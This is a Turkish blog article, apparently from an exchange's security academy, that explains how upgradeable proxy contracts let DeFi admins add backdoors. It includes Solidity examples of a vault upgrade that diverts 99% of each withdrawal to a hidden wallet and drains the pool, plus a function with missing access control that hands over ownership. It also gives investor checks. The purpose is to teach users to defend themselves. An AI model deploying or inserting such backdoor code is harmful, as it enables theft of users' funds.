Kapatmak için ESC'ye basın

Akıllı Sözleşme Backdoor'ları: Proxy ve Upgrade Riski

Stablecoin’lerinizi stake ettiğiniz DeFi protokollerinin %90’ında arkaya gizlenmiş yasal bir arka kapı (backdoor) var. Bu mekanizmanın adı Upgradeability, yani yükseltilebilirlik. Güya kod optimizasyonu yapmak ve gas ücretlerini düşürmek için tasarlanmış iyi niyetli bir şey gibi pazarlanıyor. Ama madalyonun diğer yüzü hiç de öyle değil. Adminler tek tıkla çalışan akıllı sözleşmenin kodunu değiştirip sistemi scam bir versiyona dönüştürebilir. Sonra da içerideki tüm likiditeyi son centine kadar hortumlayabilirler.

Dün gece Base ağındaki yeni bir fork’u inceliyordum. Sabaha karşı üçe kadar bilgisayar başındaydım. Önce yorgunluktan yanlış gördüğümü sandım ama durum netti. Proxy sözleşmesine bildiğiniz saatli bomba (timebomb) yerleştirmişler. İşin acı tarafı, projenin denetim raporu (audit) bile var. Sektörün en bilinen firmalarından biri onaylayıp süslü bir PDF vermiş. Gelin, bu tezgahın mimarisini birlikte çözelim.

Mimarideki Tuzak: Proxy Sözleşmeleri Nasıl Çalışır?

Sıradan bir yatırımcı için akıllı sözleşme tek parçadan ibarettir. Ağda yayınlarsın ve biter. Ancak kodun güncellenebilir olmasını istiyorsanız mimariyi ikiye bölmeniz gerekir: Proxy ve Mantık (Implementation). Kullanıcı her zaman Proxy sözleşmesiyle etkileşime girer. Proxy’nin kendi içinde hiçbir iş mantığı yoktur, tamamen boş bir kutu gibidir. Gelen tüm çağrıları doğrudan delegatecall ile mantık sözleşmesine yönlendirir.

İşte asıl tehlike tam burada başlıyor. delegatecall, Solidity dünyasındaki en riskli fonksiyondur. Hedef sözleşmedeki (Implementation) kodu çalıştırır ama verileri Proxy’nin kendi hafızasında (storage) tutar. Yani değişkenler Proxy içinde saklanır, kod ise dışarıdan çağrılır. Kurucu ortak veya admin, Proxy içindeki Implementation adresini değiştirdiği an protokol güncellenmiş olur. Ya da tüm fonlar sıfırlanır.

Güvenlik Diye Pazarlanan Popüler Tasarım Kalıpları:

  • UUPS (UUPSUpgradeable): Mantık sözleşmesinin adresi, doğrudan mantık kodunun kendi içindeki bir slotta tutulur. Eğer admin yanlışlıkla UUPS miras almayan hatalı bir kod yayınlarsa sözleşme tamamen kilitlenir. Geri dönüşü yoktur. İçerideki tüm para sonsuza dek kilitli kalır. Tam bir ironi.
  • Transparent Proxy Pattern (TPP): Burada güncelleme yetkisi ProxyAdmin adındaki özel bir sözleşmeye devredilir. Yetkiler net ayrılmıştır: Kullanıcılar iş mantığını tetikler, admin ise sadece güncellemeleri yönetir. Kağıt üstünde daha güvenli duruyor. Fakat fallback seviyesinde sürekli msg.sender kontrolü yapıldığı için deli gibi gas harcar.
  • Beacon Proxy: Tek bir işaretçi sözleşme (Beacon), aynı tipteki yüzlerce proxy için mantık adresini barındırır. Büyük NFT koleksiyonları veya likidite havuzları için çok pratiktir. Beacon üzerindeki adresi değiştirdiğiniz an binlerce sözleşmeyi tek seferde güncellersiniz. Tabii bu durum hacker’ların da iştahını kabartıyor. Tek bir açık, tüm havuz ağının çökmesi demektir.

Backdoor Anatomisi: Parayı Nasıl Çalıyorlar?

Fonları çalmak için çok karmaşık exploit’lere gerek yok. Adminin yeni kod versiyonuna tek bir satır eklemesi yeterlidir.

Şimdi gerçek koda göz atalım. İlk bakışta tamamen dürüst görünen ama tek bir hamleyle dolandırıcılık aracına dönüşen klasik bir havuz örneği hazırladım.

Aşama 1: Temiz Sözleşme (Implementation_V1.sol)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
// Klasik havuz sözleşmesi. Millet parayı yatırıp getiri bekliyor.
contract VaultV1 is Initializable {
    address public admin;
    mapping(address => uint256) public balances;
    uint256 public totalFunds;
    // Constructor yerine initializer var. Tetiklemeyi unutursan sözleşmeyi başkası kapar.
    function initialize() public initializer {
        admin = msg.sender; // Deploy eden adres ya da inşallah multisig cüzdandır.
    }
    function deposit() external payable {
        require(msg.value > 0, "Zero funds");
        balances[msg.sender] += msg.value;
        totalFunds += msg.value;
    }
    // Şimdilik temiz çekim işlemi. Gizli komisyon falan yok.
    function withdraw(uint256 _amount) external {
        require(balances[msg.sender] >= _amount, "Low balance");
        balances[msg.sender] -= _amount;
        totalFunds -= _amount;
        payable(msg.sender).transfer(_amount);
    }
}

Her şey temiz görünüyor. Auditor’lar raporu onaylıyor. Protokol canlıya alınıyor, TVL büyüyor ve topluluk kanallarında herkes mutlu.

Aşama 2: Gece Yarısı Güncellemesi (Implementation_V2.sol)

Aradan bir ay geçiyor ve havuzda 5000 ETH birikiyor. Admin (veya private key’i çaldıran geliştirici) hemen ikinci versiyonu deploy ediyor. Proxy üzerindeki upgradeTo() fonksiyonunu çağırıp yeni adresi sisteme gömüyor.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
contract VaultV2 is Initializable {
    // ÖNEMLİ: Storage layout V1 ile birebir aynı olmalı.
    // Değişken sırası kayarsa mapping'ler patlar, ortalık karışır.
    address public admin;
    mapping(address => uint256) public balances;
    uint256 public totalFunds;
    
    address public constant shadowWallet = 0x9965507B1a05951961A0175f653429f1c08afde6; // Off-shore cüzdan
    // İnitializer'ın tekrar çalışmasını engellemek için boş bırakıldı
    function initialize() public initializer {}
    function deposit() external payable {
        balances[msg.sender] += msg.value;
        totalFunds += msg.value;
    }
    // Beklenen backdoor burada. Sıradan kullanıcı bunu asla fark etmez.
    function withdraw(uint256 _amount) external {
        // Görünüşte her şey yasal ama...
        require(balances[msg.sender] >= _amount, "Low balance");
        
        // Gizli vergi kesintisi. Paranın %99'unu çaktırmadan shadowWallet'a paslıyoruz.
        // Neden %100 değil? İşlem hata verip patlamasın, kullanıcı arayüz kastı zannetsin diye.
        uint256 tax = (_amount * 99) / 100;
        uint256 userShare = _amount - tax;
        balances[msg.sender] -= _amount;
        totalFunds -= _amount;
        payable(shadowWallet).transfer(tax); 
        payable(msg.sender).transfer(userShare);
    }
    // Bu da doğrudan "parayı al ve kaç" butonu
    function emergencyDrain() external {
        require(msg.sender == admin, "Not an admin");
        // Kasadaki her şeyi süpürüyoruz. Likiditeye elveda.
        payable(shadowWallet).transfer(address(this).balance);
    }
}

Kullanıcı siteye girip "Withdraw" butonuna basıyor ve işlemi cüzdanından onaylıyor. Ekranda onay animasyonu dönerken cüzdana sadece hakkı olan paranın %1’i düşüyor. Kalan çoktan uçtu. Telegram grubunda sesinizi yükseltmeye çalıştığınız an moderatörler mesajları silip sizi banlıyor. Klasik exit scam senaryosu.

Hafıza Slotu Çakışması: En Sinsi Gizli Backdoor

Bazen adminlerin iz bırakmamak için emergencyDrain() gibi bariz kodlar yazmasına bile gerek kalmaz. Çok daha profesyonel bir yöntem var: Hafıza Slotu Çakışması (Storage Slot Collision).

EVM üzerinde değişken isimleri okunmaz. Sadece verilerin sırayla yazıldığı slotlar (0 ile 2256-1 arası) vardır. Yeni versiyonda değişkenlerin tanımlama sırasını bilerek değiştirirseniz, sıradan bir userLimit değişkenine yazılan veri, doğrudan admin adresinin üstüne yazılabilir.

Geçmişte tam olarak böyle bir sözleşmeye denk gelmiştim. Güncelleme sırasında owner değişkeninin hemen önüne küçük bir bool tipi eklemişlerdi. Bu yüzden tüm slotlar bir sıra kaydı. Kendi ayarlarını güncellemek isteyen herhangi bir kullanıcı, kodun kaymasından dolayı otomatik olarak sözleşmenin sahibi (owner) haline geliyordu. Geliştiriciler bunun kazara olduğunu iddia etti. Tabii yerseniz. Havuz, olaydan iki gün önce Tornado Cash kullanan bir cüzdan tarafından tamamen boşaltıldı. Kesin tesadüftür.

Paranoyak Kontrol Listesi: Likidite Olmaktan Nasıl Kurtulursunuz?

Etherscan’deki yeşil "Verified" rozetine güvenecek kadar saf olmayın. O rozet sadece proxy sözleşmesinin kodunun temiz olduğunu gösterir. Analizi daha derin katmanlarda yapmanız şart.

Eğer bir protokole ciddi bir miktar sermaye bağlayacaksanız, kontrol etmeniz gereken kırmızı çizgileri bir araya getirdim:

Sözleşme ParametresiGüvenli SenaryoRiskli Durum (Kırmızı Bayrak)Tarayıcıda (Explorer) Nasıl Bakılır?
Sözleşme TipiDeğiştirilemez (Immutable)Proxy (UUPS / Transparent)Contract sekmesinde "Read as Proxy" veya "Write as Proxy" butonları görünür.
Yönetim Yapısı (Admin)Multisig (Gnosis Safe 3/5) + TimelockEOA (Tek bir kişiye ait normal cüzdan)Admin veya owner slotundaki adresi aratın. Eğer adreste akıllı sözleşme kodu yoksa proje tek bir kişinin insafına kalmıştır. Key çalınırsa geçmiş olsun.
Timelock (Zaman Kilidi)48 saat ile 7 gün arasıHiç yok veya 0 olarak ayarlanmışGüncelleme çağrılarının bir timelock sözleşmesinden geçip geçmediğini inceleyin. Admin tek tıkla anında upgradeTo çalıştırabiliyorsa uzak durun.
Implementation SlotuEIP-1967 standardına göre hash'lenmişÖzel tanımlanmış gizli slotEtherscan üzerindeki "State" sekmesinden güncelleme geçmişini ve storage taşıma işlemlerini takip edin.

Timelock'lar, kerizlerin (bireysel yatırımcıların) güvende hissetmek için dua ettiği koca bir illüzyondan ibaret. Geliştiriciler Discord'da kasım kasım kasılıp "Beyler rahat olun, 48 saatlik timelock var! Sürpriz güncellemelere geçit yok!" diye hava atarlar.

Kulağa çok hoş geliyor değil mi? Güya adminin güncelleme işlemini sıraya koyması için iki günü var. Sizin de ters giden bir şeyler olduğunu çakıp, ortalığı ayağa kaldırmak ve paranızı kurtarmak için 48 saatiniz var. Ama asıl gerçek ne? Kimsenin umurunda değilsiniz.

Aranızdan kim mempool'u veya timelock event'lerini 7/24 izliyor? Hiç kimse. Uyuyorsunuz, çalışıyorsunuz ya da kahve içip takılıyorsunuz. Hacker veya dolandırıcı admin, upgrade işlemini cuma gecesi sıraya sokuyor. Pazar gecesi timelock süresi doluyor ve kod çaktırmadan değiştiriliyor. Pazartesi sabahı bir uyanıyorsunuz; cüzdan sıfırlanmış, elinizde sadece bomboş düşünceler kalmış. Bu zaman tamponu, yalnızca Defender Sentinel veya Tenderly gibi platformlardan otomatik alert kurduysanız ve acil çekim (panic withdraw) yapan bir botunuz varsa işe yarar. Bot yoksa, paranızın kesim sırasındaki kurbanlık gibi uçup gitmesini sadece izlersiniz.

Şimdi gelelim standart audit raporlarında neredeyse hiç bahsedilmeyen, arkada dönen o meşhur karanlık işlere.

Mimari Mayınlar: Gizli İnisyalizasyon Metotları

Normal bir akıllı sözleşme deploy edildiğinde constructor tetiklenir. Bu fonksiyon sadece bir kez çalışır, gerekli değişkenleri storage'a yazar ve yok olur. Proxy mimarisinde ise implementation sözleşmesinin constructor'ı, proxy'nin kendi storage'ına dokunamaz. İşte bu yüzden yukarıda bahsettiğimiz initialize gibi initializer (başlatıcı) fonksiyonlar kullanılır.

Ve tam bu noktada arka kapı (backdoor) mühendisliğinin şov kısmı başlıyor. Ya admin arkada ikinci bir inisyalizasyon fonksiyonu bıraktıysa? Ya da gözden kaçacak bir re-initialization metodu gömdüyse?

Bakın, OpenZeppelin içinde reinitializer(uint8 version) modifier'ı bulunur. Bu modifier, V2 sürümüne upgrade edilirken yeni değişkenleri initialize etmek için kullanılır. Ancak geliştirici kendi bildiği yöntemi yazar ya da "yanlışlıkla" bu yeniden yapılandırma fonksiyonunu korumayı unutursa, önüne gelen herhangi biri en kritik değişkenlerin üzerine yazabilir (overwrite).

Zafiyet barındıran (veya kasıtlı olarak bırakılan) bir migrasyon kodu örneği:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";

contract VaultV3 is Initializable {
    address public admin;
    mapping(address => uint256) public balances;
    uint256 public totalFunds;
    
    // V3 için yeni değişkenler
    bool public isPaused;
    address public trustedRecoveryAddress;

    // Sözde upgrade için koyulan reinitializer.
    // Ama şu satıra bir bakın. Hatayı çaktınız mı?
    function upgradeConfig(address _recovery) external {
        // require(msg.sender == admin, "Not admin"); kontrolü unutulmuş (!)
        // Ya da buraya inisyalizasyon durumunu sıfırlayan bir mantık gömülmüş
        trustedRecoveryAddress = _recovery;
        
        // Kendine küçük bir kıyak:
        admin = msg.sender; // Güm! Herhangi biri fonksiyonu tetikleyip admin yetkilerini kapabilir
    }
}

"Hadi canım, bu kadar salakça bir bug'ı denetçiler kesin görür" diyebilirsiniz. Hadi oradan. Bunu karmaşık matematiksel formüllerin arkasına ya da deploy sırasında import edilen alakasız, unverified harici kütüphanelerin içine gizliyorlar. Sonuçta fonksiyon dışarıdan masum bir getiri (yield) hesaplaması gibi görünüyor, ama içeride admin slotunun üzerine yazma (overwrite) işlemi dönüyor.

Doğrudan Slot Okuma: Kod Doğrulaması Olmadan İçeriği Görme

Adminler sizi dolandırmaya niyetlendiyse, gidip de arka kapı kodunu Etherscan'de doğrulatıp açık etmezler. Implementation sözleşmesini kaynak kodu doğrulaması yapmadan direkt deploy ederler. Explorer'da sadece anlamsız bir bytecode yığını görürsünüz. Korkutucu mu? Kesinlikle.

Proxy'nin şu an tam olarak nereyi işaret ettiğini anlamak için doğrudan en köke, yani bellek slotlarına (storage slots) bakmayı öğrenmeniz gerekiyor. EIP-1967 standartlarına göre, storage çakışmalarını önlemek için mantık (logic) adresi her zaman kesin olarak belirlenmiş spesifik bir slotta tutulmalıdır.

Implementation slot adresi (EIP-1967):
bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)
Bu işlemin hash sonucu şudur: 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc

Eğer eth_getStorageAt fonksiyonunu kullanmayı biliyorsanız, sözleşmenin doğrulanıp doğrulanmadığı umurunuzda bile olmaz. Proxy adresini alır, bu slotu sorgular ve aktif durumdaki logic sözleşmesinin saf hex adresini çekersiniz. Eğer bu adres sizden habersiz değiştiyse, arkanıza bakmadan paranızı çekin.

# Orada gerçekten neyin gömülü olduğunu kontrol etmek için RPC (curl) istek örneği
curl https://mainnet.infura.io/v3/YOUR_KEY \
  -X POST \
  -H "Content-Type: application/json" \
  --data '{"jsonrpc":"2.0","method":"eth_getStorageAt","params":["0xProxyContractAddress", "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc", "latest"],"id":1}'

Gelen yanıt size 32 byte veri döndürür. Buradaki son 20 byte, tam şu saniyede paranızı yöneten sözleşmenin gerçek adresidir. Projenin o cafcaflı frontend arayüzünde ne yazıyorsa unutun; delegatecall işlemini asıl çalıştıracak olan adres tam olarak budur.

Özetle

Unutmayın: Upgradeability (yükseltilebilirlik) her zaman geliştiricinin esnekliği ile yatırımcının güvenliği arasında bir ödündür. Bir proje milyar dolarlık TVL (Total Value Locked) diye bas bas bağırıyor ama timelock olmadan 2/3 multisig bir proxy üzerinde çalışıyorsa, o milyar dolar yatırımcılara ait değildir. Sadece anahtarları elinde tutan o üç kişiye aittir. Ya da onları oltalama (phishing) yöntemiyle avlayacak tek bir hackera bakar.

Eğer bir sözleşme güncellenebiliyorsa, koda değil doğrudan insanlara güveniyorsunuz demektir. Kripto tarihi ise, bol sıfırlı rakamları gören insanların ne kadar kolay satılabileceğini, şantaja uğrayabileceğini ya da delirebileceğini defalarca kanıtladı.


FAQ

Upgradeability, bir protokolü ön tarafta bir Proxy kontratı ve arkada asıl iş mantığını (business logic) barındıran bir Implementation kontratı olarak ikiye bölen mimari bir yapıdır. Bu sayede geliştiriciler, delegatecall rutinlerini kullanarak alttaki kodu değiştirebilirler. Buradaki ana risk, gücün tek bir yerde toplanmasıdır (centralization). Admin anahtarlarını (admin keys) kontrol eden kişi, denetlenmiş (audited) orijinal Implementation adresini saniyeler içinde kötü niyetli bir kodla (malicious code) değiştirebilir. Bu da protokolün durum geçişlerini (state transitions) bozarak kilitli tüm kripto varlıkların boşaltılmasına (drain edilmesine) yol açar.

Admin backdoor'unu yakalamak için Etherscan gibi bir tarayıcı üzerinden kontrat mimarisini doğrulamak gerekir. Gizli implementation pointer'ını çekmek için eth_getStorageAt RPC metodunu kullanarak EIP-1967 storage slot'unun (0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc) varlığı kontrol edilir. Eğer bu slot bir adres döndürüyorsa ve yönetici ProxyAdmin veya owner değişkeni, merkeziyetsiz bir Multi-Sig cüzdanı ya da Timelock kontratı yerine tek bir EOA (Externally Owned Account) adresini gösteriyorsa, yapıda aktif bir backdoor var demektir.

Storage slot collision (storage slot çakışması), yıkıcı bir EVM zafiyetidir. Upgradeable bir kontratın yeni versiyonu, durum değişkenlerini (state variables) bir önceki versiyona göre farklı bir sırayla veya uyumsuz veri tipleriyle tanımladığında ortaya çıkar. Bu durum, değişkenlerin tamamen aynı 32-baytlık storage slot'larına haritalanmasına (map edilmesine) neden olur. Bu sıralama hatası (misalignment) yüzünden, birbiriyle alakasız fonksiyonlar kritik değişkenlerin üzerine yazabilir. Sonuç olarak sıradan bir kullanıcı etkileşimi bile tüm bellek yapısını (state layout) bozabilir, bakiyeleri sıfırlayabilir veya admin adresi slotunun üzerine çaktırmadan yazarak tüm sahipliği (ownership) saldırgana devredebilir.
Oleg Filatov

As the Chief Technology Officer at EXMON Exchange, I focus on building secure, scalable crypto infrastructure and developing systems that protect user assets and privacy.

With over 15 years in cybersecurity, blockchain, and DevOps, I specialize in smart contract analysis, threat modeling, and secure system architecture.

At EXMON Academy, I share practical insights from real-world...

...